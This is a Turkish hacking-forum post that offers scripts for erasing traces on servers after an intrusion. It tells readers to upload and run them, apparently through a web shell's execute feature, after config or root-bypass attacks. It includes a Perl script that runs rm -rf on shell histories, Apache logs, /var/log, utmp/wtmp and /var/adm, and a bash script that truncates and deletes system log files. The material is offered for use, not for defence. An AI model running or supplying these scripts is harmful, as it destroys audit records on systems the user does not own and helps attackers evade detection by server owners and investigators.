NasyoneL
- 25 Ağu 2017
- 25,060 Mesaj
Aktiflik
Seviye
Deneyim
Linux/windows Serverlarda Log Temizleme Scripti-
Linux ve Windows serverlar da hacking işlemleri yapılır. Config,root bypass tarzı derken sunucuda her girip çıktığınız yaptığınız işlemler kayıt altında tutulur. Genellikle yabancı sunucularda pek önemsenmez ip adresleriniz yabancı olduğu için uğraşmazlar. Yine de logları temizlemekte yarar vardır.
1- Vereceğim linke girip aşağı da ki programı indirin dosya içerisine çıkarın. Sunucuya cleartracks.php yükleyin. Daha sonra Execute bölümünden php cleartracks.php diyerek çalıştırın logların hepsini temizleyecektir. Siz çıktıktan dan sonra da log yazılmaya devam eder sadece önlem amaçlı. Windows sunucularda .bat olanları sunucuya yükleyip yönetici olarak çalıştırdığınızda loglar silinecektir.
İçeriği görüntülemek için Giriş yapın veya Kayıt olun.
2- Bu vereceğim script perl dilinde yazılmıştır. Not defteri içerisine atıp farklı kaydet yapıp script.pl kaydedin daha sonra sunucuya yükleyin. Execute kısmından perl script.pl çalıştırabilirsiniz.
Kod:
#!/usr/bin/perl
if ($ARGV[0] eq "-rm")
{
system("rm -rf /tmp/logs");
system("rm -rf /root/.ksh_history");
system("rm -rf /root/.bash_history");
system("rm -rf /root/.bash_logout");
system("rm -rf /usr/local/apache/logs");
system("rm -rf /usr/local/apache/log");
system("rm -rf /var/apache/logs");
system("rm -rf /var/apache/log");
system("rm -rf /var/run/utmp");
system("rm -rf /var/logs");
system("rm -rf /var/log");
system("rm -rf /var/adm");
system("rm -rf /etc/wtmp");
system("rm -rf /etc/utmp");
print "./Done\n";
}
3- Not defterine atıp farklı kaydet yapıp logcleanerscript.sh olarak kaydedin. Sunucuya yükleyin daha sonra Execute kısmından chmod +x logcleanerscript.sh daha sonra tekrar Execute kısmından tekrar ./logcleanerscript.sh yaparak script çalıştırabilirsiniz.
Kod:
#!/bin/bash
# this script clear logs in Linux (made in CentOS)
cd /var/log
truncate -s 0 /var/log/*log
find . -name "*.gz" -type f -delete
find . -name "*.0" -type f -delete
find . -name "*.1" -type f -delete
find . -name "*.log.*" -type f -delete

